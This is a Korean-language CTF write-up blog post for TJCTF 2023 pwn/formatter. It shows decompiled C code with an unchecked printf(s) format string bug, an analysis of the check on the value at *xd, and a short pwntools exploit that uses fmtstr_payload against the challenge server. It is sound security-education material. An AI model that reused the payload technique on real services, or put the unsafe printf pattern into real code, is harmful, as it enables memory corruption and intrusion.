TJCTF 2023 - pwn/formatter

2023. 5. 29. 12:32·CTF/Solved
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[268]; // [rsp+0h] [rbp-110h] BYREF
  int i; // [rsp+10Ch] [rbp-4h]

  setbuf(_bss_start, 0LL);
  xd = calloc(1uLL, 4uLL);
  printf("give me a string (or else): ");
  fgets(s, 256, stdin);
  printf(s);
  r1(s[0]);
  if ( win() )
  {
    for ( i = 0; i <= 255; ++i )
      putchar(among[i]);
  }
  free(xd);
  return 0;
}

 

r1

int __fastcall r1(int a1)
{
  int result; // eax

  if ( a1 )
  {
    *xd += 2;
    putw(a1 - 1, _bss_start);
    result = puts("amongus");
  }
  return result;
}

 

win

int win()
{
  int result; // eax
  char s[71]; // [rsp+0h] [rbp-60h] BYREF
  FILE *stream; // [rsp+48h] [rbp-18h]
  int j; // [rsp+54h] [rbp-Ch]
  int k; // [rsp+58h] [rbp-8h]
  int i; // [rsp+5Ch] [rbp-4h]

  stream = fopen("flag.txt", "r");
  if ( *xd != 141191486 )
    return 1;
  for ( i = 0; i <= 255; ++i )
    putchar(aYouWin[i]);
  if ( stream )
  {
    result = fgets(s, 64, stream);
    for ( j = 0; j <= 63; ++j )
      result = putchar(s[j]);
  }
  else
  {
    for ( k = 0; k <= 255; ++k )
    {
      if ( !aFlagTxtNotFoun[k] )
        break;
    }
    result = 0;
  }
  return result;
}

 

2.2. 분석

main에서는

xd 변수에 초기화된 4바이트 heap을 할당하고,

fgets로 문자열을 받은 다음 그대로 출력해주고 이를 인자로 r1 함수를 실행한다.

이후 win 함수 실행 결과에 따라 among[i] 를 출력해준다.

 

r1 함수에서는 *xd 주소의 값에 2를 더하고, 인자에 1을 빼서 _bss_start에 넣어준다.

이후 amongus를 출력하고 종료한다.

 

win 함수에서는 *xd 주소의 값 141191486가 아니면 종료하고, 맞다면 YouWin 문자열 출력과 함께 flag.txt stream을 출력해준다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

format string bug

3.2. 공격 준비

뭔가 좀 복잡해보이긴 하지만, 결국 값 맞춰넣기 + format string bug이다.

문제를 풀 당시에는 gdb로만 문제를 풀다보니 몰랐는데, r1, r2, r3 함수도 있었다.

만들어놓고 쓰진 않은건지.. 아니면 문제 풀때 쓰라고 준건지는 모르겠다.

 

코드만 보면 이해가 되지 않을 수 있는데, gdb로 보면 조금 명확하다.

결국 문제에서는 *xd 주소의 값이 141191486가 되어야하는데, r1 함수에서 2를 더해주기 때문에,

이를 고려해서 *xd 주소의 값을 141191484로 넣어주고, xd에는 해당 값의 주소를 넣어주면 된다.

 

4. exploit

from pwn import *

context.bits = 64

p = remote('tjc.tf',31764)

pay = fmtstr_payload(6,{0x403440:0x403460,0x403460:0x86a693c},0)
p.sendlineafter(b': ',pay)
p.interactive()
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'CTF > Solved' 카테고리의 다른 글

Hackappatoi CTF '23  (0) 2023.12.08
Dreamhack CTF Season 3 Round #4 (🌱Div2) - 모든 문제  (0) 2023.05.29
TJCTF 2023 - pwn/groppling-hook  (0) 2023.05.29
TJCTF 2023 - pwn/shelly  (0) 2023.05.29
TJCTF 2023 - pwn/flip-out  (0) 2023.05.29
'CTF/Solved' 카테고리의 다른 글
  • Hackappatoi CTF '23
  • Dreamhack CTF Season 3 Round #4 (🌱Div2) - 모든 문제
  • TJCTF 2023 - pwn/groppling-hook
  • TJCTF 2023 - pwn/shelly
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (505) N
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (73)
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • File Structure (6)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (44) N
        • Solved (42) N
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    FSB
    vtable
    ROOT ME
    libc
    RTL
    64bit
    x64
    Buffer Overflow
    pwnable.kr
    cryptohack
    hackerschool
    x86
    CANARY
    exploit education
    Me
    phoenix
    root-me
    heap
    docker
    dreamhack
    rop
    _IO_FILE
    Format String Bug
    pwntools
    lob
    root
    la ctf
    BOF
    32bit
    tcache
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
TJCTF 2023 - pwn/formatter
상단으로

티스토리툴바